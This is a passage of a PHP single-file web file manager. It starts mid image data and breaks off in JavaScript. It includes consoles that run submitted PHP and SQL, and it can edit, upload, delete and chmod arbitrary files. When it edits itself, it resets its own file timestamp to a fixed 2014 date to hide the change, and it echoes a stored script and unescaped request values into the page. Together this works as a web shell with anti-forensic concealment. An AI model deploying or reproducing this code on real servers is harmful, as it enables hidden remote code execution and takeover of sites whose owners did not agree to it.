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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
